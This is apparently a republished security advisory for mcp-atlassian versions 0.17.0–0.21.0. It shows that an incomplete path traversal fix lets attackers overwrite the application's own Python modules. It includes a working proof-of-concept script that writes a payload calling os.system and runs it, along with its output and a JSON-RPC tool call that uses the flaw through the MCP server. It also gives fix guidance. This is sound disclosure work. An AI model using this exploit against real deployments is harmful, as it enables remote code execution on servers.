GHSA-6vmq-24h2-pj7j: Path Traversal

Published Sep 22, 2026
·
Updated

Summary

The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. validatesafepath() is called without an explicit basedir, defaulting to os.getcwd(). In standard container deployments the process CWD is the application directory (e.g. /app), so paths within that directory, including the application's own Python source modules, pass validation without raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).

Details

src/mcpatlassian/utils/io.py — validatesafepath() defaults to CWD when no basedir is supplied:

python def validatesafepath(path, basedir=None) -> Path: if basedir is None: basedir = os.getcwd() # root of the issue resolvedbase = Path(basedir).resolve(strict=False) ... if not resolvedpath.isrelativeto(resolvedbase): raise ValueError("Path traversal detected")

Both call sites in src/mcpatlassian/confluence/attachments.py omit basedir:

python validatesafepath(targetpath) # line ~227, downloadattachment() validatesafepath(targetdir) # line ~270, downloadcontentattachments()

When the process CWD is /app, any path under /app satisfies isrelativeto(CWD) and passes the guard, including all Python source modules:

/app/src/mcpatlassian/confluence/attachments.py -> passes, no exception /app/src/mcpatlassian/servers/main.py -> passes, no exception /app/.env -> passes, no exception

PoC

Prerequisites: same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port. Additionally requires Python 3.10+ and uvx to run the proof below.

The script imports validatesafepath directly from the installed package, not a simulation of the function.

python pocbypass.py import os, tempfile, shutil, importlib.util from pathlib import Path from mcpatlassian.utils.io import validatesafepath # real package

print(f"Module: {validatesafepath.module}")

Simulate /app (standard container CWD) appdir = tempfile.mkdtemp(prefix="mcpatlassianapp") moduledir = os.path.join(appdir, "src", "mcpatlassian") os.makedirs(moduledir) modulepath = os.path.join(moduledir, "attachments.py") Path(modulepath).writetext('def getsecret(): return "LEGITIMATE"\n') os.chdir(appdir)

Control: classic traversal is blocked try: validatesafepath("/etc/passwd") except ValueError: print("[OK] /etc/passwd blocked")

Bypass: intra-CWD path passes without exception result = validatesafepath(modulepath) print(f"[BYPASS] {result} - no exception raised")

Overwrite module with attacker payload (content sourced from a Confluence attachment uploaded by the attacker) Path(modulepath).writebytes( b"import os\nPWNED=True\n" b"def getsecret():\n" b" os.system('id')\n" b" return 'PWNED'\n" ) print("[WRITE] Module overwritten with malicious payload")

Simulate process restart / module reload spec = importlib.util.specfromfilelocation("m", modulepath) mod = importlib.util.modulefromspec(spec) spec.loader.execmodule(mod) # os.system('id') executes here

print(f"[RCE] getsecret() = {repr(mod.getsecret())}") print(f"[RCE] PWNED = {mod.PWNED}")

shutil.rmtree(appdir)

bash uvx --from mcp-atlassian python pocbypass.py

Verified output (mcp-atlassian 0.21.0):

Module: mcpatlassian.utils.io

[OK] /etc/passwd blocked [BYPASS] /tmp/mcpatlassianapp.../src/mcpatlassian/attachments.py - no exception raised [WRITE] Module overwritten with malicious payload uid=1000(appuser) gid=1000(appuser) groups=1000(appuser) [RCE] getsecret() = 'PWNED' [RCE] PWNED = True

Triggering via MCP tool: upload a malicious .py file as a Confluence attachment, then call:

json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "confluencedownloadattachment", "arguments": { "pageid": "<pageid>", "attachmentid": "<maliciousattachmentid>", "downloadpath": "/app/src/mcpatlassian/confluence/attachments.py" } } }

validatesafepath does not raise. The module is overwritten and the payload executes on the next process restart.

Impact

Affected versions: 0.17.0 through 0.21.0 (latest).

Attack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to 0.0.0.0 with no authentication by default.

Suggested fix: pass a dedicated, explicitly configured directory as basedir instead of relying on CWD:

python DOWNLOADBASE = Path( os.environ.get("MCPDOWNLOADDIR", "/tmp/mcp-downloads") ).resolve()

validatesafepath(targetpath, basedir=DOWNLOADBASE)

Affected Software

1 affected componentFixes available
pip/mcp-atlassian<0.22.0
0.22.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/mcp-atlassian to a version that resolves this vulnerability.

    Fixed in 0.22.0
  2. Configuration

    Pass a dedicated, explicitly configured directory as base_dir to validate_safe_path at both attachment download call sites instead of relying on the current working directory.

    mcp_atlassian.utils.io.validate_safe_path call sites in confluence/attachments.py base_dir = A dedicated, explicitly configured download directory

Event History

Sep 22, 2026
Advisory Published
via GitHub·08:36 PM
Data Sourced
via GitHub·08:36 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Are standard container deployments exposed by the default path validation behavior?

Yes. When the process working directory is the application directory, as is typical in standard container deployments, paths inside that directory pass validation because the omitted base_dir defaults to the current working directory.

2

What must an attacker do to obtain code execution?

The attacker must overwrite an application Python module through an affected attachment path operation. Code execution occurs when the process next restarts and loads the modified module.

3

Which releases should be treated as not fully fixed?

Versions 0.17.0 and later should not be assumed fully patched based on the earlier traversal fix. The issue was confirmed on version 0.21.0, identified as the latest version in the advisory.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203